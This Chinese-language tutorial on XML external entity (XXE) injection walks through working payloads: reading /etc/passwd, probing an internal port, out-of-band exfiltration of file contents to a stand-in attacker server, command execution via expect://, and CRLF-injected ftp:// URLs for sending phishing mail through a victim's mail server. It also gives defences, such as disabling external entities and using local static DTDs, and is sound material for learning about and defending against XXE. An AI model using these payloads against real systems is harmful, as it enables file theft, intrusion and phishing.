簡單來說,XXE就是XML外部實體注入。當允許引用外部實體時,透過建構惡意內容,就可能導致任意檔案讀取、系統指令執行、內網連接埠探測、攻擊內網網站等危害。
例如,如果你目前使用的程式為PHP,則可以將libxml_disable_entity_loader設定為TRUE來停用外部實體,從而起到防禦的目的。
通常攻擊者會將payload注入XML檔案中,一旦檔案執行,將會讀取伺服器上的本機文件,並對內網發起存取掃描內部網路連接埠。換而言之,XXE是一種從本地到達各種服務的方法。此外,在一定程度上這也可能有助於攻擊者繞過防火牆規則過濾或身份驗證檢查。
以下是一個簡單的XML程式碼POST請求範例:
POST /vulnerable HTTP/1.1 Host: www.test.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://test.com/test.html Content-Type: application/xml Content-Length: 294 Cookie: mycookie=cookies; Connection: close Upgrade-Insecure-Requests: 1 <?xml version="1.0"?> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>XML is the best!</description> </core> </catalog>
之後,上述程式碼將交由伺服器的XML處理器解析。程式碼被解釋並回傳:{"Request Successful": "Added!"}
現在,當攻擊者試圖濫用XML程式碼解析時會發生什麼?讓我們編輯程式碼並包含我們的惡意payload:
<?xml version="1.0"?> <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>
程式碼被解釋並傳回:
{"error": "no results for description root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync...
<?xml version="1.0"?> <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>
<?xml version="1.0"?> <!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd"> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>上述程式碼一旦由易受攻擊的伺服器處理,就會向我們的遠端伺服器發送請求,查找包含我們的payload的DTD檔案:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>"> %all;讓我們花點時間了解上述請求的執行流程。結果是有兩個請求被發送到了我們的伺服器,第二個請求為/etc/passwd檔案的內容。 在我們的VPS日誌中我們可以看到,帶有檔案內容的第二個請求,以此我們也確認了OOB XXE漏洞的存在:
http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh
<?xml version="1.0"?> <!DOCTYPE GVI [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>回應:
{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...
ftp://a%0D%0A EHLO%20a%0D%0A MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A DATA%0D%0A From%3A%20support%40VULNERABLESYSTEM.com%0A To%3A%20victim%40gmail.com%0A Subject%3A%20test%0A %0A test!%0A %0D%0A .%0D%0A QUIT%0D%0A :a@VULNERABLESYSTEM.com:25當FTP客戶端使用此URL連線時,下列指令將會被傳送給VULNERABLESYSTEM.com上的郵件伺服器:
ftp://a EHLO a MAIL FROM: <support@VULNERABLESYSTEM.com> RCPT TO: <victim@gmail.com> DATA From: support@VULNERABLESYSTEM.com To: victim@gmail.com Subject: Reset your password We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com . QUIT :support@VULNERABLESYSTEM.com:25這表示攻擊者可以從從受信任的來源發送釣魚郵件(例如:帳戶重置連結)並繞過垃圾郵件過濾器的偵測。除了連結之外,甚至我們也可以發送附件。
上面討論的主要問題就是XML解析器解析了使用者傳送的不可信資料。然而,要去校驗DTD(document type definition)中SYSTEM標識符定義的數據,並不容易,也不大可能。大部分的XML解析器預設對於XXE攻擊是脆弱的。因此,最好的解決方法就是設定XML處理器去使用本地靜態的DTD,不允許XML中含有任何自己聲明的DTD。
以上是從XML到遠端程式碼執行的方法是什麼的詳細內容。更多資訊請關注PHP中文網其他相關文章!